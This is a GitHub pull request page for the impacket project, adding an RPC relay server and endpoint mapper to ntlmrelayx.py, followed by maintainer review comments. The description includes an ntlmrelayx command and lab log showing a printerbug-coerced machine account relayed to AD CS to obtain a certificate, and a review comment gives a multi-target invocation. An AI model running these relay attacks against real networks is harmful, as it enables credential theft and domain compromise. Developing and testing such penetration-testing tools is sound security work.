Skip to content

ntlmrelayx.py: RPC server and EPM#1974

Merged
gabrielg5 merged 16 commits into
fortra:masterfrom
rtpt-romankarwacik:sploutchy_rpcserver
Jun 23, 2025
Merged

ntlmrelayx.py: RPC server and EPM#1974
gabrielg5 merged 16 commits into
fortra:masterfrom
rtpt-romankarwacik:sploutchy_rpcserver

Conversation

@rtpt-romankarwacik

Copy link
Copy Markdown
Contributor

This pull request adds the RPC relay server for ntlmrelayx.py by @sploutchy (https://github.com/sploutchy/impacket/tree/potato ) with an additional simple EPM. I rebased the repository and excluded the potato.py example, as I did not test it.

In the following, printerbug is used to coerce a connection to the ntlmrelayx.py RPC server and relay it to ADCS:

$ ntlmrelayx.py -t "http://192.168.56.5/certsrv/" -smb2support --adcs
[...]
[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0
[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0
[*] RPCD: Received connection from 192.168.56.115, attacking target http://192.168.56.5
[+] RPC: Received packet of type MSRPC BIND
[+] Answering to a BIND without authentication
[+] RPC: Received packet of type MSRPC REQUEST
[+] RPC: Sending packet of type MSRPC RESPONSE
[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0
[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0
[*] RPCD: Received connection from 192.168.56.115, attacking target http://192.168.56.5
[+] RPC: Received packet of type MSRPC BIND
[+] RPC: Sending packet of type MSRPC BINDACK
[+] RPC: Received packet of type MSRPC AUTH3
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.56.5 as LAB\WIN11VM$ SUCCEED
[+] RPC: Sending packet of type MSRPC FAULT
[+] RPC: Received packet of type MSRPC REQUEST
[+] RPC: Sending packet of type MSRPC FAULT
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx
[*] Certificate successfully written to file
[+] RPC: Connection closed by client

This pull request also contains #1442 and would supercede it.

@gabrielg5

Copy link
Copy Markdown
Collaborator

Hey guys, thanks for the PR

I had #1442 in my to-do list.
Will start checking this one instead of the previous one then.

@gabrielg5 gabrielg5 self-assigned this Jun 4, 2025
@gabrielg5 gabrielg5 added enhancement Implemented features can be improved or revised Examples Library high High priority item labels Jun 6, 2025

@gabrielg5 gabrielg5 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hello @rtpt-romankarwacik,

did a quick test on both features (RPCRelayServer and relay to RPC ADCS) and seem to be working fine... tomorrow will do some more detailed tests but wanted to give you some feedback and questions on the code

Thank you!

Comment thread impacket/dcerpc/v5/rpcrt.py
Comment thread impacket/dcerpc/v5/rpcrt.py
Comment thread impacket/examples/ntlmrelayx/attacks/smbattack.py Outdated
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py
Comment thread impacket/examples/ntlmrelayx/attacks/rpcattack.py Outdated
Comment thread impacket/dcerpc/v5/icpr.py
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated

@gabrielg5 gabrielg5 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added a couple more suggestions on the rpcrelayserver.

Still checking the "multirelay" capabilities on the rpcrelayserver to validate it's ok with current ntlmrelayx; could be left for a future implementation if something is missing there

Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
@gabrielg5 gabrielg5 added the waiting for response Further information is needed from people who opened the issue or pull request label Jun 12, 2025

@gabrielg5 gabrielg5 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @rtpt-romankarwacik hello!
Running last tests on the RPCRelayServer...
Found that rpc relay has an issue when triggering ntlmrelayx with multiple targets (through -tf)

As targets are currently obtained in the setup() function of the relay server, we may be skipping some of them in cases where the connection ends up not being relayed (empty-username for example)

Steps

  1. Create a file with multiple targets
http://1.1.1.1/certsrv
http://1.1.1.2/certsrv
http://1.1.1.3/certsrv
  1. Trigger ntlmrelayx with that targets file
    ntlmrelayx -tf targets_file -smb2support --adcs

Tried putting the target gathering in the NTLMSSP_AUTH_NEGOTIATE section of negotiate_ntlm_session() function and think is working better.
Can do a quick commit in the branch so you can take a look at it or is there another function you think is better?

Thanks!!

Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated
Comment thread impacket/examples/ntlmrelayx/servers/rpcrelayserver.py Outdated
@rtpt-romankarwacik

Copy link
Copy Markdown
Contributor Author

Thanks @gabrielg5 , I just pushed the fixes

@gabrielg5

Copy link
Copy Markdown
Collaborator

Hey @rtpt-romankarwacik hello!

I pushed a couple changes to your branch (this is the most important one 4e62a27)
Can you take a look at them please?

Main idea behind it was gathering the target the latest as possible; to avoid removing targets from the list that won't be tried to be relayed
I tried specifying targets both with -t and -tf; and also with --keep-relaying enabled and disabled

Let me know what you think!

The other commit (48f1e0d) is an opportunistic enhancement on how available targets are filtered based in already finished attacks. In my targets file (with -tf) I had smb://10.10.10.10 and http://10.10.10.10/certsrv)

@rtpt-romankarwacik

Copy link
Copy Markdown
Contributor Author

Looks nice, thank you!

@gabrielg5 gabrielg5 removed the waiting for response Further information is needed from people who opened the issue or pull request label Jun 23, 2025
@gabrielg5 gabrielg5 merged commit b6b0dae into fortra:master Jun 23, 2025
8 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement Implemented features can be improved or revised Examples high High priority item Library

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants